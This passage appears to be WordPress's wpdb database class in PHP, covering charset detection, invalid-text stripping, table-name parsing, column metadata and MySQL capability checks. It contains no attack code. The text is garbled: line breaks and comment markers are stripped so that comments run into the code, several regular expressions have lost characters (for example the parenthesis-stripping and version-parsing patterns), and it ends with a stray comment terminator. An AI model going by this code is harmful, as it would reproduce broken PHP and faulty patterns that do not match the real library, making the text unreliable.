(Duplicates are discarded.) if ( $this->last_result ) { foreach ( $this->last_result as $row ) { $var_by_ref = get_object_vars( $row ); $key = array_shift( $var_by_ref ); if ( ! isset( $new_array[ $key ] ) ) { $new_array[ $key ] = $row; } } } return $new_array; } elseif ( ARRAY_A === $output \|\| ARRAY_N === $output ) { Return an integer-keyed array of... if ( $this->last_result ) { foreach ( (array) $this->last_result as $row ) { if ( ARRAY_N === $output ) { ...integer-keyed row arrays. $new_array[] = array_values( get_object_vars( $row ) ); } else { ...column name-keyed row arrays. $new_array[] = get_object_vars( $row ); } } } return $new_array; } elseif ( strtoupper( $output ) === OBJECT ) { Back compat for OBJECT being previously case-insensitive. return $this->last_result; } return null; } * * Retrieves the character set for the given table. * * @since 4.2.0 * * @param string $table Table name. * @return string\|WP_Error Table character set, WP_Error object if it couldn't be found. protected function get_table_charset( $table ) { $tablekey = strtolower( $table ); * * Filters the table charset value before the DB is checked. * * Returning a non-null value from the filter will effectively short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string\|WP_Error\|null $charset The character set to use, WP_Error object * if it couldn't be found. Default null. * @param string $table The name of the table being checked. $charset = apply_filters( 'pre_get_table_charset', null, $table ); if ( null !== $charset ) { return $charset; } if ( isset( $this->table_charset[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } $charsets = array(); $columns = array(); $table_parts = explode( '.', $table ); $table = '`' . implode( '`.`', $table_parts ) . '`'; $results = $this->get_results( "SHOW FULL COLUMNS FROM $table" ); if ( ! $results ) { return new WP_Error( 'wpdb_get_table_charset_failure', __( 'Could not retrieve table charset.' ) ); } foreach ( $results as $column ) { $columns[ strtolower( $column->Field ) ] = $column; } $this->col_meta[ $tablekey ] = $columns; foreach ( $columns as $column ) { if ( ! empty( $column->Collation ) ) { list( $charset ) = explode( '_', $column->Collation ); If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters. if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) { $charset = 'utf8'; } $charsets[ strtolower( $charset ) ] = true; } list( $type ) = explode( '(', $column->Type ); A binary/blob means the whole query gets treated like this. if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ), true ) ) { $this->table_charset[ $tablekey ] = 'binary'; return 'binary'; } } utf8mb3 is an alias for utf8. if ( isset( $charsets['utf8mb3'] ) ) { $charsets['utf8'] = true; unset( $charsets['utf8mb3'] ); } Check if we have more than one charset in play. $count = count( $charsets ); if ( 1 === $count ) { $charset = key( $charsets ); } elseif ( 0 === $count ) { No charsets, assume this table can store whatever. $charset = false; } else { More than one charset. Remove latin1 if present and recalculate. unset( $charsets['latin1'] ); $count = count( $charsets ); if ( 1 === $count ) { Only one charset (besides latin1). $charset = key( $charsets ); } elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) { Two charsets, but they're utf8 and utf8mb4, use utf8. $charset = 'utf8'; } else { Two mixed character sets. ascii. $charset = 'ascii'; } } $this->table_charset[ $tablekey ] = $charset; return $charset; } * * Retrieves the character set for the given column. * * @since 4.2.0 * * @param string $table Table name. * @param string $column Column name. * @return string\|false\|WP_Error Column character set as a string. False if the column has * no character set. WP_Error object if there was an error. public function get_col_charset( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); * * Filters the column charset value before the DB is checked. * * Passing a non-null value to the filter will short-circuit * checking the DB for the charset, returning that value instead. * * @since 4.2.0 * * @param string\|null $charset The character set to use. Default null. * @param string $table The name of the table being checked. * @param string $column The name of the column being checked. $charset = apply_filters( 'pre_get_col_charset', null, $table, $column ); if ( null !== $charset ) { return $charset; } Skip this entirely if this isn't a MySQL database. if ( empty( $this->is_mysql ) ) { return false; } if ( empty( $this->table_charset[ $tablekey ] ) ) { This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } If still no column information, return the table charset. if ( empty( $this->col_meta[ $tablekey ] ) ) { return $this->table_charset[ $tablekey ]; } If this column doesn't exist, return the table charset. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return $this->table_charset[ $tablekey ]; } Return false when it's not a string column. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) { return false; } list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation ); return $charset; } * * Retrieves the maximum string length allowed in a given column. * * The length may either be specified as a byte length or a character length. * * @since 4.2.1 * * @param string $table Table name. * @param string $column Column name. * @return array\|false\|WP_Error { * Array of column length information, false if the column has no length (for * example, numeric column), WP_Error object if there was an error. * * @type int $length The column length. * @type string $type One of 'byte' or 'char'. public function get_col_length( $table, $column ) { $tablekey = strtolower( $table ); $columnkey = strtolower( $column ); Skip this entirely if this isn't a MySQL database. if ( empty( $this->is_mysql ) ) { return false; } if ( empty( $this->col_meta[ $tablekey ] ) ) { This primes column information for us. $table_charset = $this->get_table_charset( $table ); if ( is_wp_error( $table_charset ) ) { return $table_charset; } } if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) { return false; } $typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type ); $type = strtolower( $typeinfo[0] ); if ( ! empty( $typeinfo[1] ) ) { $length = trim( $typeinfo[1], ')' ); } else { $length = false; } switch ( $type ) { case 'char': case 'varchar': return array( 'type' => 'char', 'length' => (int) $length, ); case 'binary': case 'varbinary': return array( 'type' => 'byte', 'length' => (int) $length, ); case 'tinyblob': case 'tinytext': return array( 'type' => 'byte', 'length' => 255, 2^8 - 1 ); case 'blob': case 'text': return array( 'type' => 'byte', 'length' => 65535, 2^16 - 1 ); case 'mediumblob': case 'mediumtext': return array( 'type' => 'byte', 'length' => 16777215, 2^24 - 1 ); case 'longblob': case 'longtext': return array( 'type' => 'byte', 'length' => 4294967295, 2^32 - 1 ); default: return false; } } * * Checks if a string is ASCII. * * The negative regex is faster for non-ASCII strings, as it allows * the search to finish as soon as it encounters a non-ASCII character. * * @since 4.2.0 * * @param string $string String to check. * @return bool True if ASCII, false if not. protected function check_ascii( $string ) { if ( function_exists( 'mb_check_encoding' ) ) { if ( mb_check_encoding( $string, 'ASCII' ) ) { return true; } } elseif ( ! preg_match( '/[^\x00-\x7F]/', $string ) ) { return true; } return false; } * * Checks if the query is accessing a collation considered safe on the current version of MySQL. * * @since 4.2.0 * * @param string $query The query to check. * @return bool True if the collation is safe, false if it isn't. protected function check_safe_collation( $query ) { if ( $this->checking_collation ) { return true; } We don't need to check the collation for queries that don't read data. $query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW\|DESCRIBE\|DESC\|EXPLAIN\|CREATE)\s/i', $query ) ) { return true; } All-ASCII queries don't need extra checking. if ( $this->check_ascii( $query ) ) { return true; } $table = $this->get_table_from_query( $query ); if ( ! $table ) { return false; } $this->checking_collation = true; $collation = $this->get_table_charset( $table ); $this->checking_collation = false; Tables with no collation, or latin1 only, don't need extra checking. if ( false === $collation \|\| 'latin1' === $collation ) { return true; } $table = strtolower( $table ); if ( empty( $this->col_meta[ $table ] ) ) { return false; } If any of the columns don't have one of these collations, it needs more sanity checking. $safe_collations = array( 'utf8_bin', 'utf8_general_ci', 'utf8mb3_bin', 'utf8mb3_general_ci', 'utf8mb4_bin', 'utf8mb4_general_ci', ); foreach ( $this->col_meta[ $table ] as $col ) { if ( empty( $col->Collation ) ) { continue; } if ( ! in_array( $col->Collation, $safe_collations, true ) ) { return false; } } return true; } * * Strips any invalid characters based on value/charset pairs. * * @since 4.2.0 * * @param array $data Array of value arrays. Each value array has the keys 'value' and 'charset'. * An optional 'ascii' key can be set to false to avoid redundant ASCII checks. * @return array\|WP_Error The $data parameter, with invalid characters removed from each value. * This works as a passthrough: any additional keys such as 'field' are * retained in each value array. If we cannot remove invalid characters, * a WP_Error object is returned. protected function strip_invalid_text( $data ) { $db_check_string = false; foreach ( $data as &$value ) { $charset = $value['charset']; if ( is_array( $value['length'] ) ) { $length = $value['length']['length']; $truncate_by_byte_length = 'byte' === $value['length']['type']; } else { $length = false; Since we have no length, we'll never truncate. Initialize the variable to false. True would take us through an unnecessary (for this case) codepath below. $truncate_by_byte_length = false; } There's no charset to work with. if ( false === $charset ) { continue; } Column isn't a string. if ( ! is_string( $value['value'] ) ) { continue; } $needs_validation = true; if ( latin1 can store any byte sequence. 'latin1' === $charset \|\| ASCII is always OK. ( ! isset( $value['ascii'] ) && $this->check_ascii( $value['value'] ) ) ) { $truncate_by_byte_length = true; $needs_validation = false; } if ( $truncate_by_byte_length ) { mbstring_binary_safe_encoding(); if ( false !== $length && strlen( $value['value'] ) > $length ) { $value['value'] = substr( $value['value'], 0, $length ); } reset_mbstring_encoding(); if ( ! $needs_validation ) { continue; } } utf8 can be handled by regex, which is a bunch faster than a DB lookup. if ( ( 'utf8' === $charset \|\| 'utf8mb3' === $charset \|\| 'utf8mb4' === $charset ) && function_exists( 'mb_strlen' ) ) { $regex = '/ ( (?: [\x00-\x7F] # single-byte sequences 0xxxxxxx \| [\xC2-\xDF][\x80-\xBF] # double-byte sequences 110xxxxx 10xxxxxx \| \xE0[\xA0-\xBF][\x80-\xBF] # triple-byte sequences 1110xxxx 10xxxxxx * 2 \| [\xE1-\xEC][\x80-\xBF]{2} \| \xED[\x80-\x9F][\x80-\xBF] \| [\xEE-\xEF][\x80-\xBF]{2}'; if ( 'utf8mb4' === $charset ) { $regex .= ' \| \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences 11110xxx 10xxxxxx * 3 \| [\xF1-\xF3][\x80-\xBF]{3} \| \xF4[\x80-\x8F][\x80-\xBF]{2} '; } $regex .= '){1,40} # ...one or more times ) \| . # anything else /x'; $value['value'] = preg_replace( $regex, '$1', $value['value'] ); if ( false !== $length && mb_strlen( $value['value'], 'UTF-8' ) > $length ) { $value['value'] = mb_substr( $value['value'], 0, $length, 'UTF-8' ); } continue; } We couldn't use any local conversions, send it to the DB. $value['db'] = true; $db_check_string = true; } unset( $value ); Remove by reference. if ( $db_check_string ) { $queries = array(); foreach ( $data as $col => $value ) { if ( ! empty( $value['db'] ) ) { We're going to need to truncate by characters or bytes, depending on the length value we have. if ( isset( $value['length']['type'] ) && 'byte' === $value['length']['type'] ) { Using binary causes LEFT() to truncate by bytes. $charset = 'binary'; } else { $charset = $value['charset']; } if ( $this->charset ) { $connection_charset = $this->charset; } else { if ( $this->use_mysqli ) { $connection_charset = mysqli_character_set_name( $this->dbh ); } else { $connection_charset = mysql_client_encoding(); } } if ( is_array( $value['length'] ) ) { $length = sprintf( '%.0f', $value['length']['length'] ); $queries[ $col ] = $this->prepare( "CONVERT( LEFT( CONVERT( %s USING $charset ), $length ) USING $connection_charset )", $value['value'] ); } elseif ( 'binary' !== $charset ) { If we don't have a length, there's no need to convert binary - it will always return the same result. $queries[ $col ] = $this->prepare( "CONVERT( CONVERT( %s USING $charset ) USING $connection_charset )", $value['value'] ); } unset( $data[ $col ]['db'] ); } } $sql = array(); foreach ( $queries as $column => $query ) { if ( ! $query ) { continue; } $sql[] = $query . " AS x_$column"; } $this->check_current_query = false; $row = $this->get_row( 'SELECT ' . implode( ', ', $sql ), ARRAY_A ); if ( ! $row ) { return new WP_Error( 'wpdb_strip_invalid_text_failure', __( 'Could not strip invalid text.' ) ); } foreach ( array_keys( $data ) as $column ) { if ( isset( $row[ "x_$column" ] ) ) { $data[ $column ]['value'] = $row[ "x_$column" ]; } } } return $data; } * * Strips any invalid characters from the query. * * @since 4.2.0 * * @param string $query Query to convert. * @return string\|WP_Error The converted query, or a WP_Error object if the conversion fails. protected function strip_invalid_text_from_query( $query ) { We don't need to check the collation for queries that don't read data. $trimmed_query = ltrim( $query, "\r\n\t (" ); if ( preg_match( '/^(?:SHOW\|DESCRIBE\|DESC\|EXPLAIN\|CREATE)\s/i', $trimmed_query ) ) { return $query; } $table = $this->get_table_from_query( $query ); if ( $table ) { $charset = $this->get_table_charset( $table ); if ( is_wp_error( $charset ) ) { return $charset; } We can't reliably strip text from tables containing binary/blob columns. if ( 'binary' === $charset ) { return $query; } } else { $charset = $this->charset; } $data = array( 'value' => $query, 'charset' => $charset, 'ascii' => false, 'length' => false, ); $data = $this->strip_invalid_text( array( $data ) ); if ( is_wp_error( $data ) ) { return $data; } return $data[0]['value']; } * * Strips any invalid characters from the string for a given table and column. * * @since 4.2.0 * * @param string $table Table name. * @param string $column Column name. * @param string $value The text to check. * @return string\|WP_Error The converted string, or a WP_Error object if the conversion fails. public function strip_invalid_text_for_column( $table, $column, $value ) { if ( ! is_string( $value ) ) { return $value; } $charset = $this->get_col_charset( $table, $column ); if ( ! $charset ) { Not a string column. return $value; } elseif ( is_wp_error( $charset ) ) { Bail on real errors. return $charset; } $data = array( $column => array( 'value' => $value, 'charset' => $charset, 'length' => $this->get_col_length( $table, $column ), ), ); $data = $this->strip_invalid_text( $data ); if ( is_wp_error( $data ) ) { return $data; } return $data[ $column ]['value']; } * * Finds the first table name referenced in a query. * * @since 4.2.0 * * @param string $query The query to search. * @return string\|false The table name found, or false if a table couldn't be found. protected function get_table_from_query( $query ) { Remove characters that can legally trail the table name. $query = rtrim( $query, ';/-#' ); Allow (select...) union [...] style queries. Use the first query's table name. $query = ltrim( $query, "\r\n\t (" ); Strip everything between parentheses except nested selects. $query = preg_replace( '/$(?!\sselect)[^(]?$/is', '()', $query ); Quickly match most common queries. if ( preg_match( '/^\s(?:' . 'SELECT.?\s+FROM' . '\|INSERT(?:\s+LOW_PRIORITY\|\s+DELAYED\|\s+HIGH_PRIORITY)?(?:\s+IGNORE)?(?:\s+INTO)?' . '\|REPLACE(?:\s+LOW_PRIORITY\|\s+DELAYED)?(?:\s+INTO)?' . '\|UPDATE(?:\s+LOW_PRIORITY)?(?:\s+IGNORE)?' . '\|DELETE(?:\s+LOW_PRIORITY\|\s+QUICK\|\s+IGNORE)(?:.+?FROM)?' . ')\s+((?:[0-9a-zA-Z$_.`-]\|[\xC2-\xDF][\x80-\xBF])+)/is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } SHOW TABLE STATUS and SHOW TABLES WHERE Name = 'wp_posts' if ( preg_match( '/^\sSHOW\s+(?:TABLE\s+STATUS\|(?:FULL\s+)?TABLES).+WHERE\s+Name\s=\s("\|\')((?:[0-9a-zA-Z$_.-]\|[\xC2-\xDF][\x80-\xBF])+)\\1/is', $query, $maybe ) ) { return $maybe[2]; } * SHOW TABLE STATUS LIKE and SHOW TABLES LIKE 'wp\_123\_%' * This quoted LIKE operand seldom holds a full table name. * It is usually a pattern for matching a prefix so we just * strip the trailing % and unescape the _ to get 'wp_123_' * which drop-ins can use for routing these SQL statements. if ( preg_match( '/^\sSHOW\s+(?:TABLE\s+STATUS\|(?:FULL\s+)?TABLES)\s+(?:WHERE\s+Name\s+)?LIKE\s("\|\')((?:[\\\\0-9a-zA-Z$_.-]\|[\xC2-\xDF][\x80-\xBF])+)%?\\1/is', $query, $maybe ) ) { return str_replace( '\\_', '_', $maybe[2] ); } Big pattern for the rest of the table-related queries. if ( preg_match( '/^\s(?:' . '(?:EXPLAIN\s+(?:EXTENDED\s+)?)?SELECT.?\s+FROM' . '\|DESCRIBE\|DESC\|EXPLAIN\|HANDLER' . '\|(?:LOCK\|UNLOCK)\s+TABLE(?:S)?' . '\|(?:RENAME\|OPTIMIZE\|BACKUP\|RESTORE\|CHECK\|CHECKSUM\|ANALYZE\|REPAIR).\s+TABLE' . '\|TRUNCATE(?:\s+TABLE)?' . '\|CREATE(?:\s+TEMPORARY)?\s+TABLE(?:\s+IF\s+NOT\s+EXISTS)?' . '\|ALTER(?:\s+IGNORE)?\s+TABLE' . '\|DROP\s+TABLE(?:\s+IF\s+EXISTS)?' . '\|CREATE(?:\s+\w+)?\s+INDEX.\s+ON' . '\|DROP\s+INDEX.\s+ON' . '\|LOAD\s+DATA.INFILE.INTO\s+TABLE' . '\|(?:GRANT\|REVOKE).ON\s+TABLE' . '\|SHOW\s+(?:.FROM\|.TABLE)' . ')\s+$\s((?:[0-9a-zA-Z$_.`-]\|[\xC2-\xDF][\x80-\xBF])+)\s$is', $query, $maybe ) ) { return str_replace( '`', '', $maybe[1] ); } return false; } * Loads the column metadata from the last query. * * @since 3.5.0 protected function load_col_info() { if ( $this->col_info ) { return; } if ( $this->use_mysqli ) { $num_fields = mysqli_num_fields( $this->result ); for ( $i = 0; $i < $num_fields; $i++ ) { $this->col_info[ $i ] = mysqli_fetch_field( $this->result ); } } else { $num_fields = mysql_num_fields( $this->result ); for ( $i = 0; $i < $num_fields; $i++ ) { $this->col_info[ $i ] = mysql_fetch_field( $this->result, $i ); } } } * * Retrieves column metadata from the last query. * * @since 0.71 * * @param string $info_type Optional. Possible values include 'name', 'table', 'def', 'max_length', * 'not_null', 'primary_key', 'multiple_key', 'unique_key', 'numeric', * 'blob', 'type', 'unsigned', 'zerofill'. Default 'name'. * @param int $col_offset Optional. 0: col name. 1: which table the col's in. 2: col's max length. * 3: if the col is numeric. 4: col's type. Default -1. * @return mixed Column results. public function get_col_info( $info_type = 'name', $col_offset = -1 ) { $this->load_col_info(); if ( $this->col_info ) { if ( -1 === $col_offset ) { $i = 0; $new_array = array(); foreach ( (array) $this->col_info as $col ) { $new_array[ $i ] = $col->{$info_type}; $i++; } return $new_array; } else { return $this->col_info[ $col_offset ]->{$info_type}; } } } * * Starts the timer, for debugging purposes. * * @since 1.5.0 * * @return true public function timer_start() { $this->time_start = microtime( true ); return true; } * * Stops the debugging timer. * * @since 1.5.0 * * @return float Total time spent on the query, in seconds. public function timer_stop() { return ( microtime( true ) - $this->time_start ); } * * Wraps errors in a nice header and footer and dies. * * Will not die if wpdb::$show_errors is false. * * @since 1.5.0 * * @param string $message The error message. * @param string $error_code Optional. A computer-readable string to identify the error. * Default '500'. * @return void\|false Void if the showing of errors is enabled, false if disabled. public function bail( $message, $error_code = '500' ) { if ( $this->show_errors ) { $error = ''; if ( $this->use_mysqli ) { if ( $this->dbh instanceof mysqli ) { $error = mysqli_error( $this->dbh ); } elseif ( mysqli_connect_errno() ) { $error = mysqli_connect_error(); } } else { if ( is_resource( $this->dbh ) ) { $error = mysql_error( $this->dbh ); } else { $error = mysql_error(); } } if ( $error ) { $message = '<p><code>' . $error . "</code></p>\n" . $message; } wp_die( $message ); } else { if ( class_exists( 'WP_Error', false ) ) { $this->error = new WP_Error( $error_code, $message ); } else { $this->error = $message; } return false; } } * * Closes the current database connection. * * @since 4.5.0 * * @return bool True if the connection was successfully closed, * false if it wasn't, or if the connection doesn't exist. public function close() { if ( ! $this->dbh ) { return false; } if ( $this->use_mysqli ) { $closed = mysqli_close( $this->dbh ); } else { $closed = mysql_close( $this->dbh ); } if ( $closed ) { $this->dbh = null; $this->ready = false; $this->has_connected = false; } return $closed; } * * Determines whether MySQL database is at least the required minimum version. * * @since 2.5.0 * * @global string $wp_version The WordPress version string. * @global string $required_mysql_version The required MySQL version string. * @return void\|WP_Error public function check_database_version() { global $wp_version, $required_mysql_version; Make sure the server has the required MySQL version. if ( version_compare( $this->db_version(), $required_mysql_version, '<' ) ) { translators: 1: WordPress version number, 2: Minimum required MySQL version number. return new WP_Error( 'database_version', sprintf( __( '<strong>Error:</strong> WordPress %1$s requires MySQL %2$s or higher' ), $wp_version, $required_mysql_version ) ); } } * * Determines whether the database supports collation. * * Called when WordPress is generating the table scheme. * * Use `wpdb::has_cap( 'collation' )`. * * @since 2.5.0 * @deprecated 3.5.0 Use wpdb::has_cap() * * @return bool True if collation is supported, false if not. public function supports_collation() { _deprecated_function( __FUNCTION__, '3.5.0', 'wpdb::has_cap( \'collation\' )' ); return $this->has_cap( 'collation' ); } * * Retrieves the database character collate. * * @since 3.5.0 * * @return string The database character collate. public function get_charset_collate() { $charset_collate = ''; if ( ! empty( $this->charset ) ) { $charset_collate = "DEFAULT CHARACTER SET $this->charset"; } if ( ! empty( $this->collate ) ) { $charset_collate .= " COLLATE $this->collate"; } return $charset_collate; } * * Determines whether the database or WPDB supports a particular feature. * * Capability sniffs for the database server and current version of WPDB. * * Database sniffs are based on the version of MySQL the site is using. * * WPDB sniffs are added as new features are introduced to allow theme and plugin * developers to determine feature support. This is to account for drop-ins which may * introduce feature support at a different time to WordPress. * * @since 2.7.0 * @since 4.1.0 Added support for the 'utf8mb4' feature. * @since 4.6.0 Added support for the 'utf8mb4_520' feature. * * @see wpdb::db_version() * * @param string $db_cap The feature to check for. Accepts 'collation', 'group_concat', * 'subqueries', 'set_charset', 'utf8mb4', or 'utf8mb4_520'. * @return bool True when the database feature is supported, false otherwise. public function has_cap( $db_cap ) { $db_version = $this->db_version(); $db_server_info = $this->db_server_info(); Account for MariaDB version being prefixed with '5.5.5-' on older PHP versions. if ( '5.5.5' === $db_version && str_contains( $db_server_info, 'MariaDB' ) && PHP_VERSION_ID < 80016 PHP 8.0.15 or older. ) { Strip the '5.5.5-' prefix and set the version to the correct value. $db_server_info = preg_replace( '/^5\.5\.5-(.)/', '$1', $db_server_info ); $db_version = preg_replace( '/[^0-9.].', '', $db_server_info ); } switch ( strtolower( $db_cap ) ) { case 'collation': @since 2.5.0 case 'group_concat': @since 2.7.0 case 'subqueries': @since 2.7.0 return version_compare( $db_version, '4.1', '>=' ); case 'set_charset': return version_compare( $db_version, '5.0.7', '>=' ); case 'utf8mb4': @since 4.1.0 if ( version_compare( $db_version, '5.5.3', '<' ) ) { return false; } if ( $this->use_mysqli ) { $client_version = mysqli_get_client_info(); } else { $client_version = mysql_get_client_info(); } libmysql has supported utf8mb4 since 5.5.3, same as the MySQL server. * mysqlnd has supported utf8mb4 since 5.0.9. if ( false !== strpos( $client_version, 'mysqlnd' ) ) { $client_version = preg_replace( '/^\D+([\d.]+).', '$1', $client_version ); return version_compare( $client_version, '5.0.9', '>=' ); } else { return version_compare( $client_version, '5.5.3', '>=' ); } case 'utf8mb4_520': @since 4.6.0 return version_compare( $db_version, '5.6', '>=' ); } return false; } * * Retrieves a comma-separated list of the names of the functions that called wpdb. * * @since 2.5.0 * * @return string Comma-separated list of the calling functions. public function get_caller() { return wp_debug_backtrace_summary( __CLASS__ ); } * * Retrieves the database server version. * * @since 2.7.0 * * @return string\|null Version number on success, null on failure. public function db_version() { return preg_replace( '/[^0-9.].', '', $this->db_server_info() ); } * * Retrieves full database server information. * * @since 5.5.0 * * @return string\|false Server info on success, false on failure. public function db_server_info() { if ( $this->use_mysqli ) { $server_info = mysqli_get_server_info( $this->dbh ); } else { $server_info = mysql_get_server_info( $this->dbh ); } return $server_info; } } */

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